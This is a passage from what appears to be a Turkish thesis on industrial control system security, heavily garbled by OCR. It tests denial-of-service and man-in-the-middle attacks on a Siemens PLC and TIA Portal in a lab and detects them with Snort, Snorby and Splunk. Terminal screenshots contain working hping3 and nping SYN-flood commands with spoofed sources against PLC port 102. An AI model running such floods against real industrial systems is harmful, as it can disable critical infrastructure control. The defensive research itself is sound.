] 192.168.0.1 GPL ICMP_INFO Destination Unreachable Port Unreachable
a GPL ICMP_INFO Destination Unreachable Port Unreachable
a GPL ICMP_INFO Destination Unreachable Port Unreachable
a 192.168.0.15 192.168.0.1 GPL ICMP_INFO Destination Unreachable Port Unreachable

Sekil 5.18. Diisiik seviyeli olay drnegi

Sekil 5.19’da listelenen diisiik seviyeli bir olaya ait kural bilgisi incelendiginde, kuralin
kaynak ile hedef IP adresi arasindaki iletilen ICMP paketlerini igeren ag trafigine ait

oldugu goriilmiistiir.
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[ Search | Splunk 6.5.3 X @ Snorby - LowSeverity Eve.. X | = B

m x

€ ©&  https://192.168.0.15/results?match_all=true&searchletime][column]=end_time&search(etimel[operator ¢ @ Qsearch

Most Visited @9 pfSenselocaldomain -.. Search | Splunk Light ... (@) Snorby - Dashboard [} Burp Suite editions an...

O Sev. Semsor Source IP Destination IP. Event Signature

n & 3 Snort 192.168.0.15 192.168.0.1 GPL ICMP_INFO Destination Unreachable Port Unreachable 9:17 PM
IP Header Information Perform Mass Classification’ |EventExport Options | Permalink

Source Destination Flags off Prota Csum

Signature Informa|

Generator ID

1 Destination Unreachable Port Unreachable

ICMP Header Info alert icmp $EXTERNAL NET any -> SHOME NET any (msg:"GPL ICMP_INFO Destination
Unreachable Port Unreachable"”; icode:3; itype:3; classtype:misc-activity:

$1d:2100402; rev:8;)
Type

Payload

a
Add A Note To This Event

Sekil 5.19. Diisiik seviyeli olayin tespit edilmesine yonelik IDS kurali

5.1.3. Hizmet dis1 birakma saldiris1 (DoS)

Saldir1 analizleri kapsaminda ilk olarak Hizmet Reddi saldirist gergeklestirilerek
Sekil 5.20°de belirtilen asamalar dogrultusunda saldiriya iliskin sistemde gergeklesen
degisikliklerin incelenmesi, saldir1 paketlerinin yakalanmasi ve analizi ile snort tabanlh
kiitliphaneye Sekil 5.7 ve Sekil 5.8°de belirtildigi lizere kural setlerinin girilmesiyle snorby

araciligryla nihai hedef olan saldirinin tespiti ger¢eklestirilmistir.

DoS ve DDoS saldirilarinin temel amaci, agin, bilgisayar sistemlerinin ve donanimlarinin
bant genisligi, hafiza ve disk alan1 gibi kaynaklarinin kaldirabileceginden daha fazla yiik
bindirilmesinin saglanarak; sistemin kullanilamaz hale getirilmesidir. Dagititk Hizmet
Engelleme saldirilarinda ise (DDoS, Distributed Denial of Service), DoS’tan farkli olarak
saldin tek bir kaynaktan degil de birden fazla kaynaktan (genellikle ele gecirilmis kdle
bilgisayarlardan) kurbana dogru yapilmaktadir [210]. DoS saldirilar1 ag ve uygulama
katmani seviyesinde yapilmaktadir. Ag katmani seviyesindeki en yaygin DoS saldir tiirleri;
TCP tagkini (flood), UDP tagkini, ICMP ve SYN taskinidir. Uygulama katmani seviyesinde
ki DoS saldirilari ise; HTTP/HTTPS taskini ve FTP tagkinidir [211].
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ederek tamimlayabildi mi?

Hayir

Sekil 5.20. Hizmet dis1 birakma (DoS) saldirisi kesif, saldir1 ve tespit asamalari

DoS ve DDoS saldirilari, yapilan calismalarda farkli gruplarda smiflandirilmaktadir.
Bhuyan ve digerleri DDoS saldirilarini; kaynak sonlandirmali, kurban sonlandirmali,
aradaki (intermediate-orta) ag ve dagitik olmak ftizere 4 grupta siniflandirmaktadir.

Calismada, DDoS saldirisim1 kaynaginda tespit etmeye yonelik kaynak sonlandirmali
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savunma mekanizmasi gelistirmiglerdir. Mekanizma zararli paketleri tespit ederek olasi bir
tagkini engellemeye yoneliktir. Ancak bu islem kurban tarafinda yapilmamaktadir. Bunun
icin bir filtre veya smirlandirma orani girilerek kurbanlara ulasmadan engellemeye
calisilmaktadir [211]. Bu mekanizmanin temel zorluklari ise; kurban diigiim ile herhangi bir
iliski bulunmadigindan kurbana ulasan zararli trafik izlenememektedir. Ikinci olarak,
kaynak genis bir dlcege dagitildig i¢in odaklanma yapilamamaktadir. Uciincii olarak da
tanimlamalar kaynak sonlandirma noktalarinda yapildigi i¢in sik sik hatali uyarilar
verebilmektedir. Mirkovic ve Reiher’in yaptigi D-WARD calismasi kaynak sonlandirmali
DDoS savunma sistemidir [212]. Bu yontemin 6nemli bir eksikligi, saldirganlarin kaynak
adreslerini taklit ederek veya gizleyerek DDoS saldirilarin1 daha karmasik hale getirmesi
durumunda, diger bir ifadeyle kaynagin tespit edilememesi ya da yanlis tespit edilmesi

halinde yetersiz kalmasidir.

DoS ve DDoS saldirilarinin diger bir gruplandirilmasi da tespit mekanizmalarina gore
yapilmaktadir. LEE ve digerleri ¢alismalarinda, gelen paketlerin kaynak IP adreslerinin
dagilimini kullanarak DDoS saldirilarinin tespitine yonelik bir model 6nermislerdir. Bu
modelde, diisiik ek yiik, kisa tespit gecikmesi ve yiiksek tespit oran1 hedeflenmistir [213].
Peng ve digerleri de, bu ikinci yontemi uygulamislar ve calismalarinda gelen IP paketlerinin
izlenmesine dayali bir tespit mekanizmasi 6nermislerdir. Bu mekanizma, yeni kaynak IP

adreslerini kullanarak basit bir tespit modeli olusturmaktadir [48].

Ticari aglarda oldugu gibi EKS’ye yonelik onemli tehditlerden de birisi Servis Reddi
saldirisidir. DoS saldirist ile EKS sisteminin belirli bir kaynaga erisiminin veya kaynagin
amact dogrultusunda kullaniminin engellenmesidir [214]. Endiistriyel kontrol sistemlerinde
kritik olan sistemlerin izlenmesinin veya ihtiya¢ duyuldugunda gerekli diizenlemelerin
yapilmasinin engellenmesi Servis Reddi’nin 6nemli sonuglarindandir [46]. DoS saldirilar
nihayetinde kurbanlar tarafindan fark edilebilen saldir1 tiirlerindendir. Ancak 6nemli olan
nokta, bu saldirilart miimkiin olan en kisa siirede, hizmetlerin kullanim1 engellenmeden
veya taskin etkisi olusmadan tespit etmektir [63]. DoS saldiris1 gogunlukla diger saldirilara
gore daha az tehlikeli goriinse de endiistriyel kontrol sistemleri ve yonettigi kritik altyapilar
icin baz1 durumlarda diger bir¢cok saldir1 tiiriinden daha tehlikeli hale gelebilmektedir.
Ornegin baraj kapagmin zamaninda kapatilamadigi bir olayda hizmet reddi &nemli

felaketlere yol agabilmektedir.
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PLC protokollerindeki diger bir énemli agiklik da herhangi bir IP/MAC adresinden veya
diiglim noktasindan gelen tiim sorgu paketlerine PLC’nin cevap vermesidir. Bu dogrultuda,
calismada Hping programi kullanilarak, PLC cihazinin aga baglantistnin yapildig
PROFINET portuna (102) gergeklestirilen DoS saldirist sonucu Sekil 5.21°de
goriilmektedir. Saldir1 sonucunda, cihaza gonderilen ping paket siireleri saldir1 devam ettigi
siirece oldukca (90 ms civari) artmistir. Bu nedenle, DoS saldirisinin siirecinde biiyiik
miktarda istek paketlerinin art arda gonderilmesi nedeniyle, PLC’nin TIA Portal iizerinden

komut edilmesi engellenmis ve istenilen degisiklikler gerceklestirilememistir.

Eile Edt View Go Capture Analyze Statistics Telephony Wireless Tools po.in Digenle Goriniim Ara Ugbiim Yardim

1 = == = a [l =
il ® X T Qeas=EY & = =phs
— HPING 192.168.6.5 (wlan@ 192.168.08.5): S set, 40 headers + 120 data bytes
It tr hping in flood mode, no replies will be shown
Time Source Destination Protocol Leng 'C
6. 346 426621090 192.166.1.2 55DP 31--- 192.168.68.5 hping statistic ---
|- 346.435206183 1:3 168.1 2 S5DP 37132500 packets transmitted, @ packets received, 100% packet loss
B e onr 33round-trip min/avg/max = 0.8/6.6/6.6 ms
. 345440610090 192,168, g sspP 3jroot@kali:~#¥ hping3 -c 1600 -d 120 -S -w 64 -p 102 --flood --rand-source 192.168|
348, 443665436 188.1.2 238,255, 255.250 SSDP 3d.8.5
348.679302524 Sicon_14:0C:27 8roadcast ARP 9HPING 192.168.0.5 (wlan® 192.168.0.5): S set, 40 headers + 120 data bytes
347.386069355 192.168.1.10 192.168.0.5 Iche CHEr . : 5
347.388429280 192.166.0.5 192.168.1.10 IcHP hping in flood mode, no replies will be shown
347405683931 192.168.1.2 238, 255,255.250 s50P 3q°C
root@kali: ~ [-NoN -] tic ---
@ B packets received, 180% packet loss
o Dosya Diizenle Gériinim Ara Ugbirim Yardim B/0.0/0.6 ms

8il64 bytes from 192.168.0.
89864 bytes from 192.168.0.

g edl64 bytes from 192.168.0.
se6el64 bytes from 192.168.0.

e |54 bytes from 192.168.0.
2164 bytes from 192.168.0.
 greel64 bytes from 192.168.08.
7 1|64 bytes from 192.168.0.

= 1164 bytes from 192.168.0.

0.5: icmp_seq=75 tt1=30 [time=B1.6 ms “B -d 120 -S -w 64 -p 102 --flood --rand-source 192.16
e
c]
c]
c]
)
<]
e}
e
64 bytes from 192.168.0.
]
e
]
ic]
)
c]
]
]

5

5: icmp_seq=76 ttl=30 [time=48.8 ms
5: icmp_seq=77 tt1=30 |[time=64.0 ms 2.168.0.5): S set, 40 headers + 120 data bytes
5: icmp_seq=7/8 ttl=30 [time=58.5 ms ies will be shown

5: icmp_seq=79 ttl1=30 [time=65.2 ms
5: icmp_seq=80 ttl=30 [time=09.3 ms tic ---

5: icmp_seq=81 tt1=30 [time=63.7 ms 0 packets received, 100% packet loss
5: icmp seq=82 tt1=36 [time=93.7 ms B/0.0/6.8 ms

5: icmp_seq=83 tt1=30 |time=111 ms
5: icmp seq=84 tt1=30 [time=76.9 ms
)
<
5
5
5
5
5
=
i

64 bytes from 192.168.0.5: icmp_seq=85 tt1=30 [time=76.6 ms
64 bytes from 192.168.0.
64 bytes from 192.168.0.
{164 bytes from 192_168.0.
L <64 bytes from 192.168.0.
| 164 bytes from 192.168.0.

: lcmp_seq=86 tt1=3C [time=76.0 ms
: icmp_seq=87 tt1=38 [time=51.6 ms
: icmp seq=8B ttl=36 [time=639.7 ms
: icmp_seq=89 ttl1=3@ [time=68.2 ms

: icmp seq=90 ttl=38 [time=90.1 ms
64 bytes from 192.168.0.5: icmp_seq=91 ttl=30 [time=3.12 ms
64 bytes from 192.168.0.5: icmp_seq=92 tt1=30 [time=2.88 ms
64 bytes from 192.168.0.5: icmp seq=93 tt1=30 [time=3.063 ms
64 bytes from 192.168.0.5: icmp seq=94 tt1=30 [time=2.92 ms
64 bytes Trom 192.168.0.5: icmp_seq=95 ttl=30 [time=2.95 ms
64 bytes from 192.168.8.5: icmp seq=96 tt1=30 [time=3.39 ms
4 bytes from 192.168.0.5: icmp seq=97 ttl=30 [time=2.89 ms

@ PSCKETS: 566663 - DISp EEE6631100.0%)  Profile: Default

Sekil 5.21. Boliimlendirilmemis agda hizmet dig1 birakma saldirisi

DoS saldirisi sonrasinda az sayida saldirgan bilgisayar ile saldir1 yapilmasina ragmen paket
trafiginde dalgalanmalarin oldugu goriilmektedir. IEEE 1646-2004 trafo merkezlerinin
otomasyon haberlesmesindeki gecikme standardina gore yiiksek hizli mesajlarin 2 ms ile
10 ms arasinda iletilmesi gerekmektedir [215]. Bu kapsamda, DoS saldiris1 nedeniyle kritik
zamanl kontrol sistemi trafigindeki degismeler 6zellikle de yiiksek hizli mesaj dagitimi
ihtiyaglar1 dikkate alindiginda 6nemli problemlere yol acabilecektir. Tek kaynaktan yapilan
saldirilarda biiyiik oranda paket ayni IP adresinden geldigi igin tespiti kolay olmaktadir
ancak IP sahteciligi yapilarak farkli IP adreslerinden yapilan DoS saldirilariin tespiti ayni
oranda kolay olmamaktadir. Sekil 5.22°de Hping3’iin IP sahteciligi 6zelligi (IP Spoofing),
ile saldir1 kaynag1 olarak atanmamis IP adreslerinin (bogon) rastgele tahsis edildigi (rand

source) goriilmektedir.
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46.229.174.156.
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192.168.0.2
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0%)
(0%
(0%

Snort 192.168
Suricata 192.168.0.25

28748 .

LOW SEVERITY

168.0.25 1
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Bl Administrator
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MP_INFO P
GPL ICMP_INFO PING 183

GPL ICMP_INFO Destination 34843

ET POLICY

located IP 317
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Unauthorized Ro

Unauthorized User Access

Attempted Unauthorized
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Sekil 5.22. Hizmet dis1 birakma saldiris1 paketlerine ait kaynak IP adresleri
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DoS saldirist ag boliimlendirilmesinin yapildigi topoloji iizerinde tekrar test edilmistir.

Sekil 5.23’de goriildiigii iizere, boliinmemis ag topolojisine yapilan DoS saldirisinda oldugu

gibi PLC cihazinin Ping tepki siiresi, saldir1 devam ettigi siirece dnemli 6l¢iide artmigtir.

DoS saldirist durduruldugunda ping tepki siiresi 1212 ms olarak ol¢iilmiistiir. DoS saldirisi
dogrudan IP hedefli oldugu i¢in IP adresi tespit edildigi takdirde farkli bir ag igerisinde olsa
dahi basariyla gerceklestirilebildigi tespit edilmistir. PLC'nin IP adresini saptamak ig¢in

Nmap aract gibi herhangi bir port tarama aract kullanilabilir. (Bu

Baslat / Durdur saldiris1 boliimiinde tartigilmistir).

£ Ugbirim ~
I root@kali: ~

Ele Edt View Go Capture Analyze Statistics Telephony Wireless Tools | poeys Dizenle Gérinlm Ara Usbirim Yardim

7o O] R [E Q e we

e 7
= *l 192.168.0.5 hping statistic ---
439709 packets transmitted, O packets received,
und-trip min/avg/max = 0.0/0.06/0.0 ms
root@kalli:~# nping --tcp-connect -rate=90000 -c 900000

100% packet loss

Time Source Destination Protocol Ler

-q 192.168.0.5

Starting Nping 0.7.01 ( https://nmap.org/nping ) at 2016-05-22 17:50 EEST
Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A
TCP connection attempts: 900000 | Successful connections: O | Failed: 900000 (1
0.00%)

Nping done: 1
root@kali:~# nping -

IP address pinged in 73.58 seconds
tcp-connect -rate=90000 -c 900000 -q 192.168.0.5

|Starting Nping 0.7.01 ( https://nmap.org/nping ) at 2016-05-22 17:53 EEST

4 oo
bytes from 192.168. 1 demp_seq
bytes from 192.168. : icmp_seq=23
bytes from 192. icmp_seq=24
bytes from 192. icmp_seq=25
bytes from 192. icmp_seq=26
bytes from 192. icmp_seq=27
bytes from 192. : dlcmp_seq=28
bytes from 192. : icmp_seq=29
bytes from 192, : demp_seq=30
bytes from 192. : lcmp_seq=31
bytes from 192. icmp_seq=32
bytes from 192. icmp_seq=33
bytes from 192. icmp_seq=34
bytes from 192. icmp_seq=35
bytes from 192. : icmp_seq=36
b bytes from 192. : dlemp_seq=37
'l64 bytes from 192. : icmp_seq=38
+164 bytes from 192. : icmp_seq=39
64 bytes from 192. : ilcmp_seq=40
64 bytes from 192. : dicmp_seq=ql
64 bytes from 192. : dlemp_seq=42
bytes from 192. : icmp_seq=43
bytes from 192. i lcmp_seq=44

ARP

i 155 bytes on wire (1240 bits), 155 bytes captured (1240 bits)
7 (00:05:0b 7), Dst: IPvemcast_o1

©000000000

fos: 887 0 3, DS
Port: 548 (S46), i BA7 (547)

3 a
a9 76 00 03 00 OC 22 00 FRREE ]

security onion
7. .M SFT 5.0

©00000000¢

Sekil 5.23. Boliimlendirilmis agda hizmet dis1 birakma saldiris

siireg
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DoS saldirisi, kontrol bilgisayar1 olan TIA Portala da gerceklestirilmistir. Sekil 5.24'de

gosterildigi gibi, saldirt devam ettigi siirece, ping yanit siiresi yaklagik 2 ms'den 5280 ms'e

e .

yiikselmistir. Ayrica, Sekil 5.25’de goriildiigii lizere TIA Portalda yer tiim kontrol

fonksiyonlar1 devre dis1 kalmis ve PLC TIA Portal iizerinden kontrol edilememistir.

root@kali: ~
Dosya Diizenle Goriinim Ara Ugbirim Yardim

g root@kali: ~ [-JCN )

Dosya Diizenle Gériinim Ara Ugbirim Yardim

root@kali:~# ping 192.168.1.16

PING 192.168.16.16 (192.168.10.16) 56(84) bytes of data. 68.10.16
64 bytes from 192.168.10.16: icmp_seq=1 tt1=127 time=2.24 ms hping3 version 3.6.0-alpha-2 ($Id: release.h,v 1.4 2604/04/09 23:38:56 an
64 bytes from 192.168.16.16: icmp_seq=2 tt1=127 time=1.72 ms tirez Exp $)
64 bytes from 192.168.10.16: icmp_seq=3 tt1=127 time=2.53 ms This binary is TCL scripting capable
64 bytes from 192.168.10.16: icmp_seq=4 tt1=127 time=2.19 ms root@kali:~# ~C
64 bytes from 192.168.10.16: icmp_seq=5 tt1=127 time=102 ms root@kali:~# hping3 -c 1060 -d 120 -S -w 64 -p 102 --flood --rand-source
64 bytes from 192.168.10.16: icmp_seq=6 tt1=127 [time=4770 ms 192.168.0.4
64 bytes from 192.168.16.16: icmp_seq=7 tt1=127 [time=5242 ms HPING 192.168.0.4 (eth® 192.168.0.4): S set, 40 headers + 120 data bytes
64 bytes from 192.168.10.16: icmp_seq=8 tt1=127 [time=5241 ms hping in flood mode, no replies will be shown
64 bytes from 192.168.10.16: icmp_seq=9 tt1=127 [time=5242 ms 6
64 bytes from 192.168.10.16: icmp_seq=10 tt1=127 time=5242 ms --- 192.168.0.4 hping statistic ---
64 bytes from 192.168.16.16: icmp_seq=11 tt1=127 time=5423 ms 122801 packets transmitted, @ packets received, 100% packet loss
64 bytes from 192.168.10.16: icmp_seq=12 tt1=127 time=5280 ms round-trip min/avg/max = 0.6/0.0/0.0 ms
64 bytes from 192.168.10.16: icmp_seq=16 tt1=127 time=5235 ms root@kali:~# hping3 -c 1000 -d 120 -S -w 64 -p 102 --flood --rand-source
64 bytes from 192.168.10.16: icmp_seq=17 tt1=127 time=5232 ms 192.168.0.4
64 bytes from 192.168.10.16: icmp_seq=19 tt1=127 time=5227 ms HPING 192.168.0.4 (ethG 192.168.0.4): S set, 40 headers + 120 data bytes
64 bytes from 192.168.16.16: icmp_seq=20 tt1=127 time=5223 ms hping in flood mode, no replies will be shown
6

*|root@kali:~# hping3 -v -d 120 -S -w 64 -p 162 --flood --rand-source 192.1 |

--- 192.168.0.4 hping statistic ---

80579 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.6/0.0/0.0 ms

root@kali:~# hping3 -c 1000 -d 120 -S -w 64 -p 102 --flood --rand-source
192.168.0.4

HPING 192.168.0.4 (eth0 192.168.0.4): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown

tC

--- 192.168.0.4 hping statistic ---

6103858 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.6/0.0/6.0 ms

root@kali:~# hping3 -c 10060 -d 120 -S -w 64 -p 1062 --flood --rand-source
192.168.06.4

HPING 192.168.0.4 (eth® 192.168.0.4): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown

Sekil 5.24. TIA Portal’a gergeklestirilen DoS saldirisi ve cevap siireleri (Boliimlendirilmis

agda)
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Sekil 5.25. DoS saldirisi sonrasi TIA Portal ekrani (Boliimlendirilmis agda)
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[ Search | Sphunk 65.3 X @ Snorby - High Sevesity Eve.. X = - O %
€ @& hitps;/192.168.0.15 /results?match_ai=truelsearchletimelfcolumn]=end time&isearchietimeljoperator]=itediseare | € @  Q Search “8 ¥ A QO =
18 Most Visted @ péSenselocaldomain - Search | Splunk Light .. [ Snorby - Dashbosrd [l Burp Suite editions sn...

~

IP Header Information

192 163.0.17 | 192188010

Signature Information

Generator 10 Sig. 1D Sig. Revision

2015808 trogan-aclivity Query Signature Database View Rule |

TCP Header Information

Sre Port Dst Port

4283851944 555927726
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B D VO | S TV ¥
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Sekil 5.26. DoS saldirisi sonrasinda tespit edilen olay paketleri

Orta seviyeli olaylar kategorisinden spam olarak uyar1 verilen pakete ait igerik Sekil 5.26’da
goriilmektedir. Sekil incelendiginde, DoS saldirilarina ait paketlerin orta seviyeli bir olay
olarak listelendigi goriilmektedir. Sekil 5.27°de listelenen orta seviyeli olaya ait kural
bilgisi incelendiginde ise farkli kaynak IP adreslerinden gelen ve ayni sablondaki ag trafigi
paketleri oldugu goriilmiistiir. Listelenen olaylar genel olarak degerlendirildiginde dagitik

hizmet reddi (DDoS) saldirisina yonelik paketler oldugu anlagilmaktadir.

Search | Splunk 6.5.3 X B snorby - Medium Severity.. X 4 -

m x

€ @& hitpsy//192.168.0.15/results?match_all=trueBisearch[etime][column]=end_time&isearchletime][operator]=teSisearc ¢ @ Q Search

[8) Most Visited @ pfSense.localdomain -.. Search | Splunk Light ... (@) Snerby - Dashboard M Burp Suite editions an...

IP Header Information Perform Mass Classification  Event Export Options  Permalink
Source Destination Flags off  TIL Proto Csum
192.168.0.4

Signature Information

Generator I

TGP Header Inforf|l Signature: ET DROP Spamhaus DROP Listed Traffic Inbound

alert tcp [170.67.0.0/16,170.113.0.0/16,170.120.0.0/16,171.25.190.0
/24,173.205.0.0/21,173.205.8.0/21,173.205.16.0/21,173.205.24.0/21,173.205.32.0
/21,173.205.40.0/21,173.205.48.0/21,173.249.160.0/19,174.136.192.0/18,176.47.0.0
/16,176.61.136.0/22,176.110.101.0/24,176.124.150.0/23,177.21.64.0
/20,178.156.232.0/21,178.156.240.0/20] any —-> SHOME_NET any (msg:"ET DROP
References Spamhaus DROP Listed Traffic Inbound”:; flags:S:
reference:url, www. spamhaus.org/drop/drop. lasso; threshold: type limit, track
by_src, seconds 3600, count 1:; classtype:misc-acttack: flowbits:ser,ET.Evils
flowbits:set,ET.DROPIP; 8id:2900009; rev:2398:)

Src Port,

Type

url

b9 5S¢ 50 0
58 58 58 58 58 58 58 58 58 58 58 58
8 58 2 8 e 58

Sekil 5.27. DoS saldirisina ait paketlerin tespit edilmesinde kullanilan kural

DoS saldirist sonuglarindan goriildiigii tizere, saldir1 hem kontrol bilgisayar1 TIA Portala
hem de PLC’ye basarili bir sekilde gergeklestirilmis ve her iki sistem de etkisiz hale

gelmistir.
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5.1.4. MitM saldiris1

Saldir1

Sekil 5.28°de belirtilen agsamalar takip edilmistir. Bu kapsamda, oncelikle ag taranarak
MitM saldirisinin  gergeklestirilmesi i¢in ARP zehirlenmesi yapilacak hedef PLC ile
PLC’nin haberlestigi bilisim sistemi tespit edilmesi, ikinci olarak saldir1 gergeklestirilerek
PLC’nin haberlesmesinde araya girilerek hassas bilgilerin elde edilmesi, son olarak da ARP
tablosunun siirekli kontroliine dayali uyari sistemi ve splunk saldir1 tespit sisteminin gorsel

log ekraninin kullanilmas: ile de benzer bir saldir1 aninda sistemin zarar gérmemesi

hedeflenmistir.

analizlerinin  ikinci

kisminda MitM
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~N,

Y
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> baglanti kurdugu bir
diger ag cihazina Mith
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ag trafigi WireShark/TCPDump
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Evet
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Saldir
Tespit
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Sekil 5.28. Ortadaki adam (MitM) saldiris1 kesif, saldir1 ve tespit asamalari

gergeklestirilmis
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MitM saldiris1 temel olarak, bir saldirgan ve iki kurban (victim) bilgisayar olmak {izere {i¢
sistemden olugmaktadir. Saldir1; saldirganin ilk magdur sisteme, ikinci magdur sistem
oldugunu; ikinci magdur sisteme de ilk magdur sistem oldugunu belirten sinyaller
gondermesiyle baslar. Bu sayede Ortadaki Adam etkisiyle ilk magdur tim paketlerini
saldirgana gonderir, saldirgan da bu paketleri ikinci magdura kendi iizerinden iletir. Sahte

baglant1 kuruldugunda, magdur ag baglantisin1 normal olarak kullandigini1 diisiinmektedir.

MitM saldirilar1 en yaygin olarak Adres Coziimleme Protokoliiniin agikliklarindan
faydalanilarak, ARP zehirlemesi olarak ifade edilen MAC adres bilgilerinin
degistirilmesiyle gergeklestirilmektedir. Intranet ve Internet aglarinin yayginlagsmasina
paralel olarak, giivenlik agikliklar1 da artmustir. Ozellikle ARP protokoliindeki agikliklar
nedeniyle, ARP hileciliginde biiyiik bir artis yasanmaktadir. ARP protokoliindeki agikligin
tespitinin tizerinden yaklasik 30 yi1l ge¢mistir. Ancak sistemlere zarar verme de hala yaygin
olarak kullanilan yontemlerden birisidir. Bu sonug ise alinan giivenlik dnlemlerinin yetersiz
kaldigim gdstermektedir [216]. Ozellikle giiniimiizde yayginlasan mobil olarak aga
katilimin ve agdan ayrilmanin ne kadar kolay oldugu diisiiniildiigiinde, ARP zehirlenmesi

ve MitM saldirisinin 6nlenmesinin zorlugu anlagilmaktadir.

Nam, Djraev ve Park; ARP zehirlemesinden dolayisiyla MitM saldirisindan korunmak icin
MR-ARP (MitM-Resistant Address Resolution Protocol) teknigini 6nermislerdir [216]. Bu
teknik kablolu aglarda, diigiimler sabit oldugu icin basarili olabilmektedir. Ancak kablosuz
ve mobil aglarda diigiimler siirekli yer degistirdiginden basart orani oldukca diisiik
kalmaktadir. MitM saldirilarina karsi korunmak icin, Pansa ve Chomsiri MAC-IP
veritabanini merkezi olarak kullanan DHCP sunuculariin kurulumuna yonelik bir yontemi
¢Ozlim olarak tespit etmislerdir. Bu yontemde, her bir kullanic1 arasinda MAC adreslerinin
iletiminin gergeklestirilmesi i¢in yeni bir DHCP 6nerilmektedir [217]. Ancak yaygin olarak
kullanilmasina ragmen DHCP’nin y0netimi ve konfigiirasyonu oldukca zordur ve bu

nedenle uygulanabilir bir yontem degildir.

ARP hilesinin yapilabilmesinin en biiylik nedeni diigiimler arasinda MAC adresi degisimi
yapilirken kimlik dogrulamasinin yapilmamasidir. Bu nedenle tim ARP paketleri bilgisayar
korsanlarinin saldirisina ugrayabilir. Hong, Oh ve Lee c¢alismalarinda, bu saldirilar
engellemek maksadiyla, ARP protokoliinii korumak i¢in AES ve RSA kriptolama teknikleri

kullanilan bir model tasarlamislardir. Modelde, istemci istegini MAC dagiticisina
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ilettiginde, MAC dagiticis1 genel RSA anahtarimi (agik anahtar) dagitmaktadir. Buna
karsilik istemci AES anahtarmi olusturmaktadir ve bunu acgik anahtarla sifrelemektedir.
ARP istekleri ve cevap paketleri siiriiciiler tarafindan engellenerek, ARP zehirlenmesi
saldirisinin etkisizlestirilmesi hedeflenmistir [218]. Bu koruma ydnteminde, istemci tarafi
korunmakla birlikte ag gecidi kismu tam olarak korunamamakta ve ARP zehirlenmesi
saldirilarina kars1 hassas durumdadir. Bu nedenle bdyle bir saldir1 yapildiginda ag gegidi
tim istemcilere agm saldir1 altinda oldugu mesajini iletmektedir. Lootah, MCDaniel ve
Enck ise; ARP zehirlenmesine engel olmak amaciyla kriptografi yontemlerinden
yaralanmiglardir. Calismada, en yaygin bilinen kriptografi- tabanli yaklagimlarindan olan
Bilet-Tabanli ARP (Ticked-based ARP(TARP)) kullanilmistir [219]. Bu ¢6ziim Onerisi,
ticari aglara Ozgii basar1 saglayabilse de EKS’de kriptoloji kullanimin zorlugu dikkate

aldiginda uygulanmasinin ¢ok da miimkiin olmadig1 anlasilmaktadir.

Asokan, Niemi ve Nyberg’in ¢alismalarinin odak noktasi ise, TLS tiineli icinde HTTP
kimlik dogrulamanin kullanilmasidir [220]. Ancak bu yontem tek basina agikliklari ortadan
kaldirmamaktadir. Bu nedenle, istemci kimlik dogrulama protokoliinde ve tiinel
protokoliinde kriptolama teknikleri kullanilmaktadir. Oppliger, Hauser ve Basin, SSL/TLS
protokoliinde sunucuya erisim yapan kullaniciya ait Kullanic1 Kimlik Dogrulama Kodu
(User Authentication Code-UAC) ile kimlik dogrulama yapmasina yonelik bir model
onermislerdir. Modelin amaci; sunucunun sahte kullaniciy1 taniyarak disiirmesidir [221].
UAC kullaniminda, sistemin zararli yazilimlardan korunmus olmasi gereklidir. Aksi
takdirde Truva Ati1 (Trojen) gibi kdtiiclil yazilimlarla yetkili kullanicilarin bilgileri ele

gecirilebilir ve sistem saldirilara agik hale gelebilir.

Mobil aglardaki MitM saldirilarinin engellenmesine yonelik yaptiklari ¢alismada, Bigaket
ve digerleri; Mobil-ID olarak adlandirilan mobil kimlik dogrulama protokolii kullanilmasi
ve kullanicilardan kaynaklanan hatalarin giivenlik dongiisii disinda birakmasiyla MitM
saldirilarin1 6nlemeye yonelik bir model onermislerdir. Caligmalari, kullanicinin PIN’ini
(Personnel ldentification Number- Personel Kimlik Numarasi) girmesiyle 6zel anahtarin
aktiflesmesine dayanmaktadir. Kullanic1 bir servise girmek istediginde, servis genel
anahtar1 gonderip, kullanicidan 6zel anahtarla aktiflestirmesini istemektedir. Geleneksel
olarak, MitM saldirilarinin kullanict kimlik dogrulamas: ile engellenemeyecegi ancak

sunucu kimlik dogrulamasi ile engellenebilecegi belirtilmektedir [222]. Bu ¢oziimdeki
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hassas taraf ise, sunucu genel anahtar1 giivenilir ii¢lincii bir taraf tarafindan onaylanmasidir.

Bu nedenle, bu ii¢lincii taraf giivenilir bir kurum/kurulus olmas1 6nemlidir.

Yukarida belirtilen yontemler incelendiginde biitiin 6nlemlerin bilgisayar sistemlerine
yonelik oldugu goriilmektedir. Ancak s6z konusu c¢oziimlerin EKS’de kullanilmasi
sistemler Uzerindeki degisikliklerin anlik olarak takip edilmesinin kritikligi Onemi
degerlendirildiginde miimkiin olmamaktadir. Bu kapsamda, ¢alismanin oncelikli hedefi
EKS’nin kesintisiz ¢alismast saglarken ag icerisinde MitM saldiris1 gergeklestirilmesi
durumunda, saldirinin en kisa zamanda tespit edilerek, saldirgan bilgisayarin sisteme

miidahalesinin engellenmesidir.

Bir haberlesme altyapist olarak Internet bilyilk cogunlugu TCP/IP acikliklarindan
kaynaklanan bir¢ok tehdide maruz kalmaktadir. Bunun yaninda EKS ve 6zellikle SCADA
protokolleri kendi acikliklarina da sahiptir. Ornegin Modbus/TCP haberlesmesi agik bir
sekilde iletilmektedir ve tesis bilgisi, ag adresleri gibi 6nemli bilgiler ele ge¢irilip manipiile
edilebilir. Dongiisel Artitk  Kontrolii  (Cylic Redundancy Checking-CRC), veri
senkronizasyonu ve ¢oklu veri bigimlerini icermesine ragmen DNP3 protokolii de giivenlik
acikliklarina sahiptir. DNP3’{in bir tiirevi olan Giivenli DNP3 oturum anahtari ile mesaj
kaynagin1 dogrulayan sorgu-cevap (challange-response) kimlik dogrulama sistemini
kullanmaktadir ancak pratikte yayginlagmamistir. Bu nedenle endiistriyel kontrol sistemi
aglarinda iletilen veri paketleri ¢ogunlukla sifrelenmedigi i¢in aga erisen ve yeterli
donanima sahip kot niyetli herhangi birisi aga iliskin paketleri ele ge¢irip igerigini
okuyabilir veya degistirip tekrar gonderebilir. Siemens PLC’leri programlamak i¢in Simatic
TIA Portal yazilimi kullanilmaktadir. TIA Portal ile PLC arasindaki haberlesme ISO-TSAP
(International Standards Organization Transport Service Access Point- Uluslararasi
